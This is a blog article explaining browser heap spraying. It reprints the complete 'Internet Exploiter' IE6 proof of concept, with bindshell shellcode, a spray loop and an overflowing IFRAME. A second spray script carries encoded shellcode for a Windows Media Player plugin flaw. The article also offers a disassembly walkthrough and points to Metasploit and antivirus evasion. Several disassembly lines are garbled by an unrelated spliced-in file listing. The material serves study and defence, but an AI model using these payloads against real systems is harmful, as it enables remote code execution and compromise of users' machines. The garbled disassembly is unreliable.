Heap spraying.
Publicated on :
1186362926
In this article I write about heap spraying, what you can do with it and how to construct your own heap spraying attack. I try to explain it as simple as possible because this is certainly not easy material to understand for everyone. It requires in depth knowledge of processors, data types, encoding, Javascript, HTML, browsers, memory management and debuggers. Still I want to make an attempt to explain it in such a way that anyone can grasps it's concept, so I try to be as less technical as I can be. please note: this is a very rough presentation about heap spraying in browsers, In reality is it more fine grained, and tougher to exploit than I lay out here, so it is not a walk in the park so to speak. See the bottom links for in-depth analysis and knowledge about this subject.
Heap spraying concept and theory is not tough to understand, it usually starts with a software crash. You need a software crash to determine at which register address the crash occurred in order to construct a new heap spraying vector. Usually people ask me: "so you managed to crash a browser, now what?" well this is exactly where we go from a browser crash to an actual exploit. Remember not all browser crashes are directly exploitable, a lot of browser crashes could be simple stability issues. But most are, that is why a lot of researchers say: "It has the possibility of executing arbitrary code". The reason why they don't launch a real exploit is because it takes very much time and is usually too dangerous. There are instances where you must spray huge amounts of memory, sometimes around 1 GB invalid memory, so this could get problematic. After a little history check it seems that it was first mentioned in this paper.
There are a lot of things involved to make the exploit an success. It either fails or succeeds. Notice that the heap and stack are two different things, usually heap spraying is used where stack protection is in place, like in the animated cursor exploits. Since we are focusing on web application hacking & security I'll show you the impact of Javascript. Because with any programming or scripting language we can access memory, but to spray the heap in a effective manner we can either use Active-X, Visual Basic, or Javascript. This makes it dangerous because these scripting languages are supported by browsers. It's easy to write a Javascript to start spraying the heap. The toughest job is finding a vulnerability, or a software crash. Sometimes this is pure luck, but there are also programs that can automate this for you.
The next thing you will have to do is analyze the crash, you will need a debugger to replay the crash and to see the register addresses that where affected.
First let's look at basics you will need to understand.
The 32-bit x86 registers are: ESP EAX EBP EBX ESI ECX EDI EDX EIP
The attack flow focus on controlling the EIP.
In heap spraying we try to fill the heap with as much as possible until it becomes valid memory again.
In the first heap exploit I know about written by SkyLined the attack flow was:
EAX => ECX => EIP: Remote Command Execution.
So we want control over EIP, if done correctly and let us execute shellcode we supply. Heap spraying is only possible in the user address space, to be exact in Windows XP: 0x00000000 to 0x7fffffff. To do this we spray NOP shellcode pairs as invalid memory on the heap.
See the image below to visualize the flow:
the original script below was used to attack Internet explorer, and was called the "internet exploiter" Reportedly tested against IE 6.0 on Win XP SP1 and IE 6.0 on Win2k.
<HTML>
<!--
Internet Exploiter v0.1
MSIE <IFRAME src=... name="..."> BoF PoC exploit
Copyright (C) 2003, 2004 by Berend-Jan Wever.
http://www.edup.tudelft.nl/bjwever
A copy of the GNU General Public License can be found at:
http://www.gnu.org/licenses/gpl.html
-->
<SCRIPT language="javascript">
// Win32 MSIE exploit helper script, creates a lot of nopslides to land in
// and/or use as return address. Thanks to blazde for feedback and idears.
// Win32 bindshell (port 28876, '0' free, looping). Thanks to HDM and
// others for inspiration and borrowed code.
shellcode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178
%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%
uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b
%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8
%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad
%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273
%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481
%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8
%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934
%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe
%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff
%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a
%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db
%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0
%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0
%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd
%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43
%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2
%uffff%uc483%u615c%u89eb");
// Nopslide will contain these bytes:
bigblock = unescape("%u0D0D%u0D0D");
// Heap blocks in IE have 20 dwords as header
headersize = 20;
// This is all very 1337 code to create a nopslide that will fit exactly
// between the the header and the shellcode in the heap blocks we want.
// The heap blocks are 0x40000 dwords big, I can't be arsed to write good
// documentation for this.
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
// And now we can create the heap blocks, we'll create 700 of them to spray
// enough memory to be sure enough that we've got one at 0x0D0D0D0D
memory = new Array();
for (i=0;i<700;i++) memory[i] = block + shellcode;
</SCRIPT>
<!--
The exploit sets eax to 0x0D0D0D0D after which this code gets executed:
7178EC02 8B08 MOV ECX, DWORD PTR [EAX]
[0x0D0D0D0D] == 0x0D0D0D0D, so ecx = 0x0D0D0D0D.
7178EC04 68 847B7071 PUSH 71707B84
7178EC09 50 PUSH EAX
7178EC0A FF11 CALL NEAR DWORD PTR [ECX]
Again [0x0D0D0D0D] == 0x0D0D0D0D, so we jump to 0x0D0D0D0D.
We land inside one of the nopslides and slide on down to the shellcode.
-->
<IFRAME
SRc=file://bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb NAME="cccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccc"
Here is a technical analysis from the above exploit from a reader of my blog which I like to thank for contributing to this article and making me more streetwise on heap spraying:
Here is the disassembly of the crashed function from Shdocvw.dll:
.text:7178EBE2 000 mov eax, [esp+arg_0]
.text:7178EBE6 000 mov eax, [eax+1400h]
.text:7178EBEC 000 test eax, eax
.text:7178EBEE 000 jnz short loc_7178EBFE ; True during
exploitation (eax != 0)
.text:7178EBF0 000 mov eax, [esp+arg_4] ; Not reached during
exploitation
.text:7178EBF4 000 and dword ptr [eax], 0
.text:7178EBF7 000 mov eax, 80004005h
.text:7178EBFC 000 jmp short locret_7178EC0C
.text:7178EBFE ;
---------------------------------------------------------------------------
.text:7178EBFE
.text:7178EBFE loc_7178EBFE: ; CODE XREF:
CWebBrowserSB::GetOleObject(IOleObject #index.html# 0x000000.js 0x000000.txt 0x000001.js 0x000002.js 0x000003.js 0x000004.js 0x000005.js 0x000006.js 0x000007.js 0x000008.js 0x000009.js 0x00000A.js all.back all.html all.txt anal articles articles_old crowl.html index.html jquery-1.3.2.min.js split.sh while *)+C j
.text:7178EBFE 000 push [esp+arg_4]
.text:7178EC02 004 mov ecx, [eax]
.text:7178EC04 004 push offset _IID_IOleObject
.text:7178EC09 008 push eax
.text:7178EC0A 00C call dword ptr [ecx] ; Naughy Naughty
.text:7178EC0C
.text:7178EC0C locret_7178EC0C: ; CODE XREF:
CWebBrowserSB::GetOleObject(IOleObject #index.html# 0x000000.js 0x000000.txt 0x000001.js 0x000002.js 0x000003.js 0x000004.js 0x000005.js 0x000006.js 0x000007.js 0x000008.js 0x000009.js 0x00000A.js all.back all.html all.txt anal articles articles_old crowl.html index.html jquery-1.3.2.min.js split.sh while *)+1A j
.text:7178EC0C 000 retn 8
The function takes two arguments, one is implicit and the other is defined.
The symbol is public: virtual long __stdcall CWebBrowserSB::GetOleObject(struct IOleObject #index.html# 0x000000.js 0x000000.txt 0x000001.js 0x000002.js 0x000003.js 0x000004.js 0x000005.js 0x000006.js 0x000007.js 0x000008.js 0x000009.js 0x00000A.js all.back all.html all.txt anal articles articles_old crowl.html index.html jquery-1.3.2.min.js split.sh while *),
the overflow doesn't appear to occur in this function, but another function appears to be the cause,
this is just where the call occurs. According to SkyLined, the call [ecx] is where we gain control
of execution, so how do we control the value at ecx?
This function uses the stdcall convention, which means that the first argument is an implicit argument
(since its coded in C++) known as the this pointer, which points to the constructed object.
The second argument is a pointer to a pointer of an OLEObject of some sort and isn't really important
for our analysis. So knowing that, the first dereference takes the value of the first argument (this ptr)
and put its into eax, the second dereference takes the value from this+1400h (another ptr) and puts it into eax.
This is the value that we control, there must be some kind of overflow in one of the variables
of the parent function that allows you to overwrite that function pointer. So we now have our
value in eax, the next instruction of interest to us is at 7178EC02 and dereferences the memory
location we specified and puts the value into ecx, which is then called.
Now, the heap spray. We need to control a memory location to place a pointer in, which points to
our shellcode. So first we spray the heap. We spray a NOP slide of 0D0D0D0D through a large portion
of the heap, then place our shellcode after the NOP slide. We then overflow the structure and
overwrite the pointer with 0D0D0D0D (a valid userspace address). What we are trying to do is
control the values around 0D0D0D0D, so when the dereference occurs, 0D0D0D0D ends up being
called (which also happens to be a NOP slide), then the NOP slide is followed into the shellcode.
Since the above exploit is rather old and does not work anymore, I would like to show you a recent found exploit. One exploit targets the Windows Media Player plugin in your browser, and was constructed in this manner and published on milw0rm, note I removed the payload in the embed object, this is only an example on how it could look.
<script>
var spray = unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
do {
spray += spray;
}
while (spray.length < 0x1000000);
spray += unescape(
"%uc933%ue983%ud9c9%ud9ee%u2474%u5bf4%u7381%u9713"+
"%u798c%u839b%ufceb%uf4e2%u646b%u9b3d%u8c97%udef2"+
"%u07ab%u9e05%u8def%u1096%u94d8%uc4f2%u8db7%ud292"+
"%ub81c%u9af2%ubd79%u02b9%u083b%uefb9%u4d90%u96b3"+
"%u4e96%u6f92%ud8ac%u9f5d%u69e2%uc4f2%u8db3%ufd92"+
"%u801c%u1032%u90c8%u7078%u901c%u9af2%u057c%ubf25"+
"%u4f93%u5b48%u07f3%uab39%u4c12%u9701%ucc1c%u1075"+
"%u90e7%u10d4%u84ff%u9292%u0c1c%u9bc9%u8c97%uf3f2"+
"%ud3ab%u6d48%udaf7%u63f0%u4c14%ucb02%u7cff%u9ff3"+
"%ue4c8%u65e1%u821d%u642e%uef70%uff14%ue9b9%ufe01"+
"%ua3b7%ubb1a%ue9f9%ubb0d%uffe2%ue91c%ufbb7%ueb14"+
"%ufba7%ua817%uacf3%ufa09%uffe4%uf40e%ue8e5%ub459"+
"%uc8d6%ubb3d%uaab1%uf559%uf8f2%uf759%ueff8%uf718"+
"%ufef0%uee16%uace7%uff38%ue5fa%uf217%uf8e4%ufa0b"+
"%ue3e3%ue80b%ufbb7%ueb14%ufba7%ua817%uacf3%uda56"+
"%uc8d3%u9b79"
);
</script>
<EMBED SRC="------<HUGE PAYLOAD>------.WMV"></EMBED>
Most virus scanners will detect such scripts running on your PC, however there are already ways of fooling anti-virus programs by scrambling and distorting signatures by the way. If you want to learn more about shell coding, and heap spraying I suggest you lookup Metasploit, that project aims at automating exploits, shellcode generators and other tools to simplify this technique. As you can see Javascript can be lethal on your PC, if things turn for the worse you might be compromised in a snap by visiting a website alone. Granted, it is tough to create such an attack from the ground up, but it is not impossible. Exploits have been released and people have been compromised without even knowing. The possibility of such damage.
Metasploit framework: http://www.metasploit.com/
Blog dedicated to heap spraying: http://sf-freedom.blogspot.com
Lots of examples and info: http://browserfun.blogspot.com/
A reader suggested to read this since it goes way deeper into this subject:
http://www.determina.com/security.research/presentations/bh-eu07/bh-eu07-sotirov-paper.html
http://www.enderunix.org/docs/eng/bof-eng.txt
http://www.phrack.org/archives/49/P49-14